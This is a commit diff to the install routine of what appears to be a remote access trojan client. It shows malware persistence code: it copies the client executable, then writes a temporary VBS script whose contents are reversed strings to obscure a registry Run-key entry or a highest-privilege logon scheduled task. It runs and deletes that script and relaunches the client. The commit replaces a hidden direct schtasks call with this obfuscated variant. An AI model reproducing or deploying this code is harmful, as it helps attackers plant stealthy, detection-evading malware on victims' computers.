Update NormalStartup.cs

This commit is contained in:
NYAN CAT 2019-05-26 20:51:52 +03:00
parent fa0c454fb5
commit 2abc8572c5

View File

@ -43,32 +43,27 @@ namespace Client.Install
fs.Write(clientExe, 0, clientExe.Length); fs.Write(clientExe, 0, clientExe.Length);
fs.Dispose(); fs.Dispose();
if (!Methods.IsAdmin())
{
string tempName = Path.GetTempFileName() + ".vbs"; string tempName = Path.GetTempFileName() + ".vbs";
string TempPath = Strings.StrReverse(Settings.ClientFullPath); string TempPath = Strings.StrReverse(Settings.ClientFullPath);
String TempPathName = Strings.StrReverse(Path.GetFileName(Settings.ClientFullPath)); string TempPathName = Strings.StrReverse(Path.GetFileName(Settings.ClientFullPath));
using (StreamWriter sw = new StreamWriter(tempName, false)) using (StreamWriter sw = new StreamWriter(tempName, false))
{
if (!Methods.IsAdmin())
{ {
sw.Write(Strings.StrReverse($@"""ZS_GER"",""{TempPath}"",""{TempPathName}\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS\UCKH"" etirWgeR.llehShsW sw.Write(Strings.StrReverse($@"""ZS_GER"",""{TempPath}"",""{TempPathName}\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS\UCKH"" etirWgeR.llehShsW
)""llehS.tpircSW""(tcejbOetaerC = llehShsW teS")); )""llehS.tpircSW""(tcejbOetaerC = llehShsW teS"));
}
else
{
sw.Write(Strings.StrReverse($@")eslaF ,0 ,""{TempPath}"""" rt/ {TempPathName} nt/ tsehgih lr/ nogolno cs/ etaerc/ sksathcs""( nuR.llehShsw = ter
)""llehS.tpircSW""(tcejbOetaerC = llehShsw teS"));
}
} }
Process.Start(tempName); Process.Start(tempName);
Thread.Sleep(1000); Thread.Sleep(1000);
File.Delete(tempName); File.Delete(tempName);
}
else
{
Process.Start(new ProcessStartInfo()
{
FileName = "schtasks",
Arguments = $"/create /sc onlogon /rl highest /tn {Path.GetFileName(Settings.ClientFullPath)} /tr " + "\"" + Settings.ClientFullPath + "\"",
CreateNoWindow = true,
ErrorDialog = false,
UseShellExecute = true,
WindowStyle = ProcessWindowStyle.Hidden
});
}
Process.Start(Settings.ClientFullPath); Process.Start(Settings.ClientFullPath);
Methods.ClientExit(); Methods.ClientExit();
Environment.Exit(0); Environment.Exit(0);